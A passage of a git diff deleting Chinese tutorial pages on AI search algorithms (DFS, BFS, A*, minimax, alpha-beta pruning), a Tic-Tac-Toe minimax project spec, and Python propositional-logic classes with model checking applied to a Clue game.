为什么有深度限制的极大极小算法有时比没有深度限制的极大极小更可取? - 1. 深度受限的极大极小算法可以更快地做出决定,因为它探索的状态更少 - 2. 深度受限的极大极小算法将在没有深度限制的情况下实现与极大极小算法相同的输出,但有时会使用较少的内存 - 3. 深度受限的极大极小算法可以通过不探索已知的次优状态来做出更优化的决策 - 4. 深度限制的极小极大值永远不会比没有深度限制的极大极小值更可取 -4. 下面的问题将询问您关于下面的 Minimax 树,其中绿色向上箭头表示 MAX 玩家,红色向下箭头表示 MIN 玩家。每个叶节点都标有其值。 - -![](https://cdn.xyxsw.site/UVssbyMxCoEQSuxvjh3caWAFnOb.png) - -根节点的值是多少? - - 1. 2 - 2. 3 - 3. 4 - 4. 5 - 5. 6 - 6. 7 - 7. 8 - 8. 9 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md deleted file mode 100644 index f7db567..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋.md +++ /dev/null @@ -1,65 +0,0 @@ -# 项目:Tic-Tac-Toe 井字棋 - -::: warning 😋 我们为你提供了一个简单有趣的项目,帮助你进行知识巩固,请认真阅读文档内容。 - -如果你卡住了,请记得回来阅读文档,或请求身边人的帮助。 -::: - -::: tip 📥 -本节附件下载 -::: - -`pip3 install -r requirements.txt` - -## 理解 - -这个项目有两个主要文件:`runner.py` 和 `tictactoe.py`。`tictactoe.py` 包含了玩游戏和做出最佳动作的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `tictactoe.py` 中所有必需的功能,你就可以运行 `python runner.py` 来对抗你的人工智能了! - -让我们打开 `tictactoe.py` 来了解所提供的内容。首先,我们定义了三个变量:X、O 和 EMPTY,以表示游戏的可能移动。 - -函数 `initial_state` 返回游戏的启动状态。对于这个问题,我们选择将游戏状态表示为三个列表的列表(表示棋盘的三行),其中每个内部列表包含三个值,即 X、O 或 EMPTY。以下是我们留给你实现的功能! - -## 说明 - -实现 `player`, `actions`, `result`, `winner`, `terminal`, `utility`, 以及 `minimax`. - -- `player` 函数应该以棋盘状态作为输入,并返回轮到哪个玩家(X 或 O)。 - - - 在初始游戏状态下,X 获得第一步。随后,玩家交替进行每一个动作。 - - 如果提供结束棋盘状态作为输入(即游戏已经结束),则任何返回值都是可接受的。 -- `actions` 函数应该返回一组在给定的棋盘状态上可以采取的所有可能的操作。 - - - 每个动作都应该表示为元组 `(i,j)`,其中 `i` 对应于移动的行(0、1 或 2),`j` 对应于行中的哪个单元格对应于移动(也是 0、1、或 2)。 - - 可能的移动是棋盘上任何没有 X 或 O 的单元格。 - - 如果提供结束棋盘状态作为输入,则任何返回值都是可接受的。 -- `result` 函数以一个棋盘状态和一个动作作为输入,并且应该返回一个新的棋盘状态,而不修改原始棋盘。 - - - 如果 `action` 函数接受了一个无效的动作,你的程序应该raise an exception. - - 返回的棋盘状态应该是从原始输入棋盘,并让轮到它的玩家在输入动作指示的单元格处移动所产生的棋盘。 - - 重要的是,原始棋盘应该保持不变:因为 Minimax 最终需要在计算过程中考虑许多不同的棋盘状态。这意味着简单地更新棋盘上的单元格本身并不是 `result` 函数的正确实现。在做出任何更改之前,你可能需要先对棋盘状态进行deep copy。 -- `winner` 函数应该接受一个棋盘作为输入,如果游戏结束,则返回游戏的获胜者。 - - - 如果 X 玩家赢得了游戏,函数应该返回 X。如果 O 玩家赢得了比赛,函数应该返回 O。 - - 一个人可以通过水平、垂直或对角连续三次移动赢得比赛。 - - 你可以认为最多会有一个赢家(也就是说,没有一个棋盘会同时有两个玩家连着三个,因为这将是一个无效的棋盘状态)。 - - 如果游戏没有赢家(要么是因为游戏正在进行,要么是因为比赛以平局结束),函数应该返回 `None`。 -- `terminal` 函数应该接受一个棋盘作为输入,并返回一个布尔值,指示游戏是否结束。 - - - 如果游戏结束,要么是因为有人赢得了游戏,要么是由于所有单元格都已填充而没有人获胜,则函数应返回 `True`。 - - 否则,如果游戏仍在进行中,则函数应返回 `False`。 -- `utility` 函数应接受结束棋盘状态作为输入,并输出该棋盘的分数。 - - - 如果 X 赢得了比赛,则分数为 1。如果 O 赢得了比赛,则分数为 -1。如果比赛以平局结束,则分数为 0。 - - 你可以假设只有当 `terminal(board)` 为 True 时,才会在棋盘上调用 `utility`。 -- `minimax` 函数应该以一个棋盘作为输入,并返回玩家在该棋盘上移动的最佳移动。 - - - 返回的移动应该是最佳动作 `(i,j)`,这是棋盘上允许的动作之一。如果多次移动都是同样最佳的,那么这些移动中的任何一次都是可以接受的。 - - 如果该棋盘是结束棋盘状态,则 `minimax` 函数应返回 `None`。 -对于所有接受棋盘作为输入的函数,你可以假设它是一个有效的棋盘(即,它是包含三行的列表,每行都有三个值 X、O 或 EMPTY)。你不应该修改所提供的函数声明(每个函数的参数的顺序或数量)。、 -一旦所有功能都得到了正确的实现,你就应该能够运行 `python runner.py` 并与你的人工智能进行比赛。而且,由于井字棋是双方最佳比赛的平局,你永远不应该能够击败人工智能(尽管如果你打得不好,它可能会打败你!) - -## 提示 - -- 如果你想在不同的 Python 文件中测试你的函数,你可以用类似于 `from tictactoe import initial_state` 的代码来导入它们。 -- 欢迎在 `tictactoe.py` 中添加其他辅助函数,前提是它们的名称不会与模块中已有的函数或变量名称冲突。 -- alpha-beta 剪枝是可选的,这可能会让你的人工智能运行更高效! diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索.md deleted file mode 100644 index 3a6e8f5..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索.md +++ /dev/null @@ -1,356 +0,0 @@ -# 搜索 - -::: warning 😅 在我们日常生活中,其实有非常多的地方使用了所谓的 AI 算法,只是我们通常没有察觉。 - -比如美团的外卖程序里面,可以看到外卖员到达你所在的位置的路线,它是如何规划出相关路线的呢? - -在我们和电脑下围棋下五子棋的时候,他是如何“思考”的呢?希望你在阅读完本章内容之后,可以有一个最基本的理解。并且,我们还会给你留下一个井字棋的小任务,可以让你的电脑和你下井字棋,是不是很 cool - -让我们现在开始吧! -::: - -## 基本定义 - -::: warning 🤔 也许第一次看会觉得云里雾里,没有必要全部记住所有的概念。可以先大致浏览一遍之后,再后续的代码中与概念进行结合,相信你会有更深入的理解 -::: - -> 即检索存储在某个[数据结构](https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)中的信息,或者在问题域的搜索空间中计算的信息。 --wiki - -从本质上来说,你将搜索问题理解为一个函数,那么它的输入将会是你用计算机的数据结构或计算机数据所构成的初始状态以及你期望他达成的目标状态,搜索问题将尝试从中得到解决方案。 - -导航是使用搜索算法的一个典型的搜索,它接收您的当前位置和目的地作为输入,并根据搜索算法返回建议的路径。 - -![](https://cdn.xyxsw.site/Hesobke0ZocH48xGFyocf9Cxntd.png) - -在计算机科学中,还有许多其他形式的搜索问题,比如谜题或迷宫。 - - - - - - -
- -## 举个例子 - -要找到一个数字华容道谜题的解决方案,需要使用搜索算法。 - -- 智能主体 (Agent) - - 感知其环境并对该环境采取行动的实体。 - - 例如,在导航应用程序中,智能主体将是一辆汽车的代表,它需要决定采取哪些行动才能到达目的地。 - -- 状态 (State) - - 智能主体在其环境中的配置。 - - 例如,在一个数字华容道谜题中,一个状态是所有数字排列在棋盘上的任何一种方式。 - - - 初始状态(Initial State) - - 搜索算法开始的状态。在导航应用程序中,这将是当前位置。 - -![](https://cdn.xyxsw.site/HCxXbwKFyof6DFx6FZ8c5EHknBh.png) - -- 动作 (Action) - - 一个状态可以做出的选择。更确切地说,动作可以定义为一个函数。当接收到状态$s$作为输入时,$Actions(s)$将返回可在状态$s$ 中执行的一组操作作为输出。 - - 例如,在一个数字华容道中,给定状态的操作是您可以在当前配置中滑动方块的方式。 - -![](https://cdn.xyxsw.site/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png) - -- 过渡模型 (Transition Model) - - 对在任何状态下执行任何适用操作所产生的状态的描述。 - - 更确切地说,过渡模型可以定义为一个函数。 - - 在接收到状态$s$和动作$a$作为输入时,$Results(s,a)$返回在状态$s$中执行动作$a$ 所产生的状态。 - - 例如,给定数字华容道的特定配置(状态$s$),在任何方向上移动正方形(动作$a$)将导致谜题的新配置(新状态)。 - -![](https://cdn.xyxsw.site/RKV2buJoroCV6SxiMUuct3dbnPU.png) - -- 状态空间 (State Space) - - 通过一系列的操作目标从初始状态可达到的所有状态的集合。 - - 例如,在一个数字华容道谜题中,状态空间由所有$\frac{16!}{2}$种配置,可以从任何初始状态达到。状态空间可以可视化为有向图,其中状态表示为节点,动作表示为节点之间的箭头。 - -![](https://cdn.xyxsw.site/JdCqb2UI9ooWmdxk258cTIIznab.png) - -- 目标测试 (Goal Test) - - 确定给定状态是否为目标状态的条件。例如,在导航应用程序中,目标测试将是智能主体的当前位置是否在目的地。如果是,问题解决了。如果不是,我们将继续搜索。 - -- 路径成本 (Path Cost) - - 完成给定路径相关的代价。例如,导航应用程序并不是简单地让你达到目标;它这样做的同时最大限度地减少了路径成本,为您找到了达到目标状态的最快方法。 - -## 解决搜索问题 - -### 解 (solution) - -从初始状态到目标状态的一系列动作。 - -### 最优解 (Optimal Solution) - - - 在所有解决方案中路径成本最低的解决方案。 - -- 在搜索过程中,数据通常存储在**节点 (Node)** 中,节点是一种包含以下数据的数据结构: - -- 状态——state -- 其父节点,通过该父节点生成当前节点——parent node -- 应用于父级状态以获取当前节点的操作——action -- 从初始状态到该节点的路径成本——path cost -- 节点包含的信息使它们对于搜索算法非常有用。 - -它们包含一个状态,可以使用目标测试来检查该状态是否为最终状态。 - -如果是,则可以将节点的路径成本与其他节点的路径代价进行比较,从而可以选择最佳解决方案。 - -一旦选择了节点,通过存储父节点和从父节点到当前节点的动作,就可以追溯从初始状态到该节点的每一步,而这一系列动作就是解决方案。 - -然而,节点只是一个数据结构——它们不搜索,而是保存信息。为了实际搜索,我们使用了边域 (frontier),即“管理”节点的机制。边域首先包含一个初始状态和一组空的已探索项目(探索集),然后重复以下操作,直到找到解决方案: - -重复: - -1. 如果边域为空 - - 停止,搜索问题无解 -2. 从边域中删除一个节点。这是将要考虑的节点。 -3. 如果节点包含目标状态。 - - 返回解决方案,停止 - 否则: - - 展开节点(找到可以从该节点到达的所有新节点),并将生成的节点添加到边域。 - - 将当前节点添加到探索集。 - - - - - - -
- -边域从节点 A 初始化开始 - -1. 取出边域中的节点 A,展开节点 A,将节点 B 添加到边域。 -2. 取出节点 B,展开,添加...... -3. 到达目标节点,停止,返回解决方案 - - - - - - -
- -会出现什么问题?节点 A-> 节点 B-> 节点 A->......-> 节点 A。我们需要一个探索集,记录已搜索的节点! - -### 不知情搜索 (Uninformed Search) - -在之前对边域的描述中,有一件事没有被提及。在上面伪代码的第 1 阶段,应该删除哪个节点?这种选择对解决方案的质量和实现速度有影响。关于应该首先考虑哪些节点的问题,有多种方法,其中两种可以用堆栈(深度优先搜索)和队列(广度优先搜索)的数据结构来表示。 - -#### 深度优先搜索 (Depth-First Search) - -深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下,边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后,第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法,该算法在第一个方向上尽可能深入,直到尽头,同时将所有其他方向留到后面。“不撞南墙不回头” - -(一个例子:以你正在寻找钥匙的情况为例。在深度优先搜索方法中,如果你选择从裤子里搜索开始,你会先仔细检查每一个口袋,清空每个口袋,仔细检查里面的东西。只有当你完全筋疲力尽时,你才会停止在裤子里搜索,开始在其他地方搜索。) - -- 优点 - - 在最好的情况下,这个算法是最快的。如果它“运气好”,并且总是(偶然)选择正确的解决方案路径,那么深度优先搜索需要尽可能少的时间来找到解决方案。 -- 缺点 - - 所找到的解决方案可能不是最优的。 - - 在最坏的情况下,该算法将在找到解决方案之前探索每一条可能的路径,从而在到达解决方案之前花费尽可能长的时间。 - - - - - - -
- - - - - - -
- -- 代码实现 - -```python -def remove(self): - if self.empty(): - raise Exception("empty frontier") - else: - node = self.frontier[-1] - self.frontier = self.frontier[:-1] - return node -``` - -#### 广度优先搜索 (Breadth-First Search) - -广度优先搜索算法将同时遵循多个方向,在每个可能的方向上迈出一步,然后在每个方向上迈出第二步。在这种情况下,边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下,所有新节点都会排成一行,并根据先添加的节点来考虑节点(先到先得!)。这导致搜索算法在任何一个方向上迈出第二步之前,在每个可能的方向上迈出一步。 - -(一个例子:假设你正在寻找钥匙。在这种情况下,如果你从裤子开始,你会看你的右口袋。之后,你会在一个抽屉里看一眼,而不是看你的左口袋。然后在桌子上。以此类推,在你能想到的每个地方。只有在你用完所有位置后,你才会回到你的裤子上,在下一个口袋里找。) - -- 优点 - - 该算法可以保证找到最优解。 -- 缺点 - - 几乎可以保证该算法的运行时间会比最短时间更长。 - - 在最坏的情况下,这种算法需要尽可能长的时间才能运行。 - - - - - - -
- - - - - - -
- -代码实现 - -```python -def remove(self): - if self.empty(): - raise Exception("empty frontier") - else: - node = self.frontier[0] - self.frontier = self.frontier[1:] - return node -``` - -## 知情搜索 (Informed Search) - -广度优先和深度优先都是不知情的搜索算法。也就是说,这些算法没有利用他们没有通过自己的探索获得的关于问题的任何知识。然而,大多数情况下,关于这个问题的一些知识实际上是可用的。例如,当人类进入一个路口时,人类可以看到哪条路沿着解决方案的大致方向前进,哪条路没有。人工智能也可以这样做。一种考虑额外知识以试图提高性能的算法被称为知情搜索算法。 - -### 贪婪最佳优先搜索 (Greedy Best-First Search) - -贪婪最佳优先搜索扩展最接近目标的节点,如启发式函数$h(n)$所确定的。顾名思义,该函数估计下一个节点离目标有多近,但可能会出错。贪婪最佳优先算法的效率取决于启发式函数的好坏。例如,在迷宫中,算法可以使用启发式函数,该函数依赖于可能节点和迷宫末端之间的曼哈顿距离。曼哈顿距离忽略了墙壁,并计算了从一个位置到目标位置需要向上、向下或向两侧走多少步。这是一个简单的估计,可以基于当前位置和目标位置的$(x,y)$坐标导出。 - -![](https://cdn.xyxsw.site/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png) - -然而,重要的是要强调,与任何启发式算法一样,它可能会出错,并导致算法走上比其他情况下更慢的道路。不知情的搜索算法有可能更快地提供一个更好的解决方案,但它比知情算法更不可能这样。 - - - - - - -
- -### $A^*$搜索 - -作为贪婪最佳优先算法的一种发展,$A^{*}$ 搜索不仅考虑了从当前位置到目标的估计成本 $h(n)$ ,还考虑了直到当前位置为止累积的成本 $g(n)$ 。通过组合这两个值,该算法可以更准确地确定解决方案的成本并在旅途中优化其选择。该算法跟踪(到目前为止的路径成本 + 到目标的估计成本, $g(n)+h(n)$ ),一旦它超过了之前某个选项的估计成本,该算法将放弃当前路径并返回到之前的选项,从而防止自己沿着 $h(n)$ 错误地标记为最佳的却长而低效的路径前进。 - -然而,由于这种算法也依赖于启发式,所以它依赖它所使用的启发式。在某些情况下,它可能比贪婪的最佳第一搜索甚至不知情的算法效率更低。对于最佳的$A^*$搜索,启发式函数$h(n)$应该: - -- 可接受,从未高估真实成本。 -- 一致性,这意味着从新节点到目标的估计路径成本加上从先前节点转换到该新节点的成本应该大于或等于先前节点到目标的估计路径成本。用方程的形式表示,$h(n)$是一致的,如果对于每个节点 n$和后续节点 n'$,从 n$到$n'$的步长为 c$,满足$h(n) ≤ h(n') + c$. - - - - - - -
- -## 对抗性搜索 - -尽管之前我们讨论过需要找到问题答案的算法,但在对抗性搜索中,算法面对的是试图实现相反目标的对手。通常,在游戏中会遇到使用对抗性搜索的人工智能,比如井字游戏。 - -### 极大极小算法 (Minimax) - -- 作为对抗性搜索中的一种算法,Minimax 将获胜条件表示为$(-1)$表示为一方,$(+1)$表示为另一方。进一步的行动将受到这些条件的驱动,最小化的一方试图获得最低分数,而最大化的一方则试图获得最高分数。 - - ![](https://cdn.xyxsw.site/FYu3bQwCZofBgsxKDJiciTR7nzc.png) - -#### 井字棋 AI 为例 - -- $s_0$: 初始状态(在我们的情况下,是一个空的 3X3 棋盘) - - ![](https://cdn.xyxsw.site/WstnbmHwYoQauRxUQOCclz8Jngb.png) - -- $Players(s)$: 一个函数,在给定状态$s$的情况下,返回轮到哪个玩家(X 或 O)。 - - ![](https://cdn.xyxsw.site/DKzTbJSZMoc1UkxT9KOcIHqvnob.png) - -- $Actions(s)$: 一个函数,在给定状态$s$的情况下,返回该状态下的所有合法动作(棋盘上哪些位置是空的)。 - - ![](https://cdn.xyxsw.site/LuEzbLOaqox7yox5lXzcouWYnKc.png) - -- $Result(s, a)$: 一个函数,在给定状态$s$和操作$a$的情况下,返回一个新状态。这是在状态$s$上执行动作$a$(在游戏中移动)所产生的棋盘。 - - ![](https://cdn.xyxsw.site/AdOVbwCGhoVcWVx21TMcdhbDnIg.png) - -- $Terminal(s)$: 一个函数,在给定状态$s$的情况下,检查这是否是游戏的最后一步,即是否有人赢了或打成平手。如果游戏已结束,则返回 True,否则返回 False。 - - ![](https://cdn.xyxsw.site/EOfJbvoUMogVT8xsrTxcl5ugnrk.png) - -- $Utility(s)$: 一个函数,在给定终端状态 s 的情况下,返回状态的效用值:$-1、0 或 1$。 - -![](https://cdn.xyxsw.site/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png) - -算法的工作原理: - -- 该算法递归地模拟从当前状态开始直到达到终端状态为止可能发生的所有游戏状态。每个终端状态的值为$(-1)$、$0$或$(+1)$。 - ![](https://cdn.xyxsw.site/DN3mb0lbno2AHvx2M0JcrTvtnYf.png) - -- 根据轮到谁的状态,算法可以知道当前玩家在最佳游戏时是否会选择导致状态值更低或更高的动作。 - -通过这种方式,在最小化和最大化之间交替,算法为每个可能的动作产生的状态创建值。举一个更具体的例子,我们可以想象,最大化的玩家在每一个回合都会问:“如果我采取这个行动,就会产生一个新的状态。如果最小化的玩家发挥得最好,那么该玩家可以采取什么行动来达到最低值?” - -然而,为了回答这个问题,最大化玩家必须问:“要想知道最小化玩家会做什么,我需要在最小化者的脑海中模拟同样的过程:最小化玩家会试图问:‘如果我采取这个动作,最大化玩家可以采取什么动作来达到最高值?’” - -这是一个递归过程,你可能很难理解它;看看下面的伪代码会有所帮助。最终,通过这个递归推理过程,最大化玩家为每个状态生成值,这些值可能是当前状态下所有可能的操作所产生的。 - -在得到这些值之后,最大化的玩家会选择最高的一个。 - -![](https://cdn.xyxsw.site/EjB9bzgZNohQtkxXwXgcVrKwnth.png) - -具体算法: - -- 给定状态 $s$ - - 最大化玩家在$Actions(s)$中选择动作$a$,该动作产生$Min-value(Result(s,a))$ 的最高值。 - - 最小化玩家在$Actions(s)$中选择动作$a$,该动作产生$Max-value(Result(s,a))$ 的最小值。 - -```txt -Function Max-Value(state): - v=-∞ - if Terminal(state): - return Utility(state) - for action in Actions(state): - v = Max(v, Min-Value(Result(state, action))) - return v -Function Min-Value(state): - v=+∞ - if Terminal(state): - return Utility(state) - for action in Actions(state): - v = Min(v, Max-Value(Result(state, action))) - return v -``` - -不会理解递归?也许你需要看看这个:[阶段二:递归操作](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.6.4.2%E9%98%B6%E6%AE%B5%E4%BA%8C%EF%BC%9A%E9%80%92%E5%BD%92%E6%93%8D%E4%BD%9C.md) - -### $\alpha$-$\beta$剪枝 (Alpha-Beta Pruning) - -作为一种优化 Minimax 的方法,Alpha-Beta 剪枝跳过了一些明显不利的递归计算。在确定了一个动作的价值后,如果有初步证据表明接下来的动作可以让对手获得比已经确定的动作更好的分数,那么就没有必要进一步调查这个动作,因为它肯定比之前确定的动作不利。 - -这一点最容易用一个例子来说明:最大化的玩家知道,在下一步,最小化的玩家将试图获得最低分数。假设最大化玩家有三个可能的动作,第一个动作的值为 4。然后玩家开始为下一个动作生成值。要做到这一点,如果当前玩家做出这个动作,玩家会生成最小化者动作的值,并且知道最小化者会选择最低的一个。然而,在完成最小化器所有可能动作的计算之前,玩家会看到其中一个选项的值为 3。这意味着没有理由继续探索最小化玩家的其他可能行动。尚未赋值的动作的值无关紧要,无论是 10 还是(-10)。如果该值为 10,则最小化器将选择最低选项 3,该选项已经比预先设定的 4 差。如果尚未估价的行动结果是(-10),那么最小化者将选择(-10)这一选项,这对最大化者来说更加不利。因此,在这一点上为最小化者计算额外的可能动作与最大化者无关,因为最大化玩家已经有了一个明确的更好的选择,其值为 4。 - -![](https://cdn.xyxsw.site/LDZab4TeMoByvDxF1Onc8WQenpb.png) - -### 深度限制的极大极小算法 (Depth-Limited Minimax) - -- 总共有$255168$个可能的井字棋游戏,以及有$10^{29000}$个可能的国际象棋中游戏。到目前为止,最小最大算法需要生成从某个点到**终端条件**的所有假设游戏状态。虽然计算所有的井字棋游戏状态对现代计算机来说并不是一个挑战,但目前用来计算国际象棋是不可能的。 - -深度限制的 Minimax 算法在停止之前只考虑预先定义的移动次数,而从未达到终端状态。然而,这不允许获得每个动作的精确值,因为假设的游戏还没有结束。为了解决这个问题,深度限制 Minimax 依赖于一个评估函数,该函数从给定状态估计游戏的预期效用,或者换句话说,为状态赋值。例如,在国际象棋游戏中,效用函数会将棋盘的当前配置作为输入,尝试评估其预期效用(基于每个玩家拥有的棋子及其在棋盘上的位置),然后返回一个正值或负值,表示棋盘对一个玩家对另一个玩家的有利程度。这些值可以用来决定正确的操作,并且评估函数越好,依赖它的 Minimax 算法就越好。 diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md deleted file mode 100644 index da94041..0000000 --- a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md +++ /dev/null @@ -1,417 +0,0 @@ -# 程序示例——命题逻辑与模型检测 - -::: warning 😋 -阅读程序中涉及命题逻辑的部分,然后“玩一玩”程序! - -完成习题 -::: - -::: tip 📥 -本节附件下载 -::: - -## Sentence——父类 - -```python -class Sentence(): # 父类 - def evaluate(self, model): - """计算逻辑表达式的值""" - raise Exception("nothing to evaluate") - def formula(self): - """返回表示逻辑表达式的字符串形式。""" - return "" - def symbols(self): - """返回逻辑表达式中所有命题符号的集合。""" - return set() - @classmethod # @classmethod 装饰器 使得类方法可以在类上被调用 Sentence.validate(...) - def validate(cls, sentence): - """验证操作数是否是 Sentence 或其子类""" - if not isinstance(sentence, Sentence): - raise TypeError("must be a logical sentence") - @classmethod # @classmethod 装饰器 使得类方法可以在类上被调用 Sentence.parenthesize(...) - def parenthesize(cls, s): - """如果表达式尚未加圆括号,则加圆括号。""" - def balanced(s): - """检查字符串是否有配对的括号。""" - count = 0 - for c in s: - if c == "(": - count += 1 - elif c == ")": - if count <= 0: - return False - count -= 1 - return count == 0 - if not len(s) or s.isalpha() or (s[0] == "(" and s[-1] == ")" and balanced(s[1:-1])): - return s - else: - return f"({s})" -``` - -## Symbol——命题符号类 - -```python -class Symbol(Sentence): - def __init__(self, name): - """初始化命题符号""" - self.name = name - def __eq__(self, other): - """定义命题符号的相等""" - return isinstance(other, Symbol) and self.name == other.name - ... - def evaluate(self, model): - """命题符号在模型中赋值""" - try: - return bool(model[self.name]) - except KeyError: - raise EvaluationException(f"variable {self.name} not in model") - def formula(self): - """返回表示命题符号的字符串形式。""" - return self.name - def symbols(self): - """返回命题符号的集合。""" - return {self.name} -``` - -## Not——逻辑非类 - -```python -class Not(Sentence): - def __init__(self, operand): - """验证操作数是否是 Sentence 或其子类""" - Sentence.validate(operand) - self.operand = operand - def __eq__(self, other): - """定义相等""" - return isinstance(other, Not) and self.operand == other.operand - ... - def evaluate(self, model): - """逻辑非在模型中的赋值""" - return not self.operand.evaluate(model) - def formula(self): - """返回表示逻辑非的字符串形式""" - return "¬" + Sentence.parenthesize(self.operand.formula()) - def symbols(self): - """返回逻辑非中的命题符号的集合""" - return self.operand.symbols() -``` - -## And——逻辑乘类 - -```python -class And(Sentence): - def __init__(self, *conjuncts): - for conjunct in conjuncts: - """验证操作数是否是 Sentence 或其子类""" - Sentence.validate(conjunct) - self.conjuncts = list(conjuncts) - def __eq__(self, other): - """定义相等""" - return isinstance(other, And) and self.conjuncts == other.conjuncts - def add(self, conjunct): - """添加命题""" - Sentence.validate(conjunct) - self.conjuncts.append(conjunct) - def evaluate(self, model): - """逻辑乘在模型中的赋值""" - return all(conjunct.evaluate(model) for conjunct in self.conjuncts) - def formula(self): - """返回表示逻辑乘的字符串形式""" - if len(self.conjuncts) == 1: - return self.conjuncts[0].formula() - return " ∧ ".join([Sentence.parenthesize(conjunct.formula()) - for conjunct in self.conjuncts]) - def symbols(self): - """"返回逻辑乘中的所有命题符号的集合""" - return set.union(*[conjunct.symbols() for conjunct in self.conjuncts]) -``` - -## Or——逻辑和类 - -```python -class Or(Sentence): - def __init__(self, *disjuncts): - for disjunct in disjuncts: - """验证操作数是否是 Sentence 或其子类""" - Sentence.validate(disjunct) - self.disjuncts = list(disjuncts) - def __eq__(self, other): - """定义相等""" - return isinstance(other, Or) and self.disjuncts == other.disjuncts - ... - def evaluate(self, model): - """逻辑和在模型中的赋值""" - return any(disjunct.evaluate(model) for disjunct in self.disjuncts) - def formula(self): - """返回表示逻辑和的字符串形式""" - if len(self.disjuncts) == 1: - return self.disjuncts[0].formula() - return " ∨ ".join([Sentence.parenthesize(disjunct.formula()) - for disjunct in self.disjuncts]) - def symbols(self): - """"返回逻辑乘中的所有命题符号的集合""" - return set.union(*[disjunct.symbols() for disjunct in self.disjuncts]) -``` - -## Implication——逻辑蕴含类 - -```python -class Implication(Sentence): - def __init__(self, antecedent, consequent): - """验证操作数是否是 Sentence 或其子类""" - Sentence.validate(antecedent) - Sentence.validate(consequent) - """前件""" - self.antecedent = antecedent - """后件""" - self.consequent = consequent - def __eq__(self, other): - """定义相等""" - return (isinstance(other, Implication) - and self.antecedent == other.antecedent - and self.consequent == other.consequent) - ... - def evaluate(self, model): - """逻辑蕴含在模型中的赋值""" - return ((not self.antecedent.evaluate(model)) - or self.consequent.evaluate(model)) - def formula(self): - """返回表示逻辑蕴含的字符串形式""" - antecedent = Sentence.parenthesize(self.antecedent.formula()) - consequent = Sentence.parenthesize(self.consequent.formula()) - return f"{antecedent} => {consequent}" - def symbols(self): - """"返回逻辑蕴含中的所有命题符号的集合""" - return set.union(self.antecedent.symbols(), self.consequent.symbols()) -``` - -## Biconditional——逻辑等值类 - -```python -class Biconditional(Sentence): - def __init__(self, left, right): - """验证操作数是否是 Sentence 或其子类""" - Sentence.validate(left) - Sentence.validate(right) - self.left = left - self.right = right - def __eq__(self, other): - """定义相等""" - return (isinstance(other, Biconditional) - and self.left == other.left - and self.right == other.right) - ... - def evaluate(self, model): - """逻辑等值在模型中的赋值""" - return ((self.left.evaluate(model) - and self.right.evaluate(model)) - or (not self.left.evaluate(model) - and not self.right.evaluate(model))) - def formula(self): - """返回表示逻辑等值的字符串形式""" - left = Sentence.parenthesize(str(self.left)) - right = Sentence.parenthesize(str(self.right)) - return f"{left} <=> {right}" - def symbols(self): - """"返回逻辑等值中的所有命题符号的集合""" - return set.union(self.left.symbols(), self.right.symbols()) -``` - -## Model_check()——模型检测算法 - -```python -def model_check(knowledge, query): - """ - 检查知识库是否推理蕴含查询结论。 - >>> p = Symbol("p") - >>> q = Symbol("q") - >>> r = Symbol("r") - >>> knowledge = And(p, q, Implication(And(p, q), r)) - >>> knowledge.formula() - 'p ∧ q ∧ ((p ∧ q) => r)' - >>> query = r - >>> model_check(knowledge,query) - True - """ - def check_all(knowledge, query, symbols, model): - """检查给定特定模型的知识库是否推理蕴含查询结论。""" - # 如果模型已经为所有的命题符号赋值 - if not symbols: # symbols 为空即所有 symbols 都在模型中被赋值 - # 若模型中的知识库为真,则查询结论也必须为真 - if knowledge.evaluate(model): - return query.evaluate(model) - return True - else: - # 递归生成并检测所有模型 - # 选择其余未使用的命题符号之一 - remaining = symbols.copy() - p = remaining.pop() - # 创建一个命题符号为 true 的模型 - model_true = model.copy() - model_true[p] = True - # 创建一个命题符号为 false 的模型 - model_false = model.copy() - model_false[p] = False - # 确保在两种模型中都进行蕴含推理 - return (check_all(knowledge, query, remaining, model_true) and - check_all(knowledge, query, remaining, model_false)) - # 获取知识库和查询结论中的所有命题符号 - symbols = set.union(knowledge.symbols(), query.symbols()) - # 进行模型检测 - return check_all(knowledge, query, symbols, dict()) -``` - -## 线索游戏 - -在游戏中,一个人在某个地点使用工具实施了谋杀。人、工具和地点用卡片表示。每个类别的一张卡片被随机挑选出来,放在一个信封里,由参与者来揭开真相。参与者通过揭开卡片并从这些线索中推断出信封里必须有什么来做到这一点。我们将使用之前的模型检查算法来揭开这个谜团。在我们的模型中,我们将已知与谋杀有关的项目标记为 True,否则标记为 False。 - -```python -import termcolor -from logic import * -mustard = Symbol("ColMustard") -plum = Symbol("ProfPlum") -scarlet = Symbol("MsScarlet") -characters = [mustard, plum, scarlet] - -ballroom = Symbol("ballroom") -kitchen = Symbol("kitchen") -library = Symbol("library") -rooms = [ballroom, kitchen, library] - -knife = Symbol("knife") -revolver = Symbol("revolver") -wrench = Symbol("wrench") -weapons = [knife, revolver, wrench] - -symbols = characters + rooms + weapons -def check_knowledge(knowledge): - for symbol in symbols: - if model_check(knowledge, symbol): - termcolor.cprint(f"{symbol}: YES", "green") - elif not model_check(knowledge, Not(symbol)): - # 模型检测无法确定知识库可以得出 Not(symbol) 即 symbol 是可能的 - 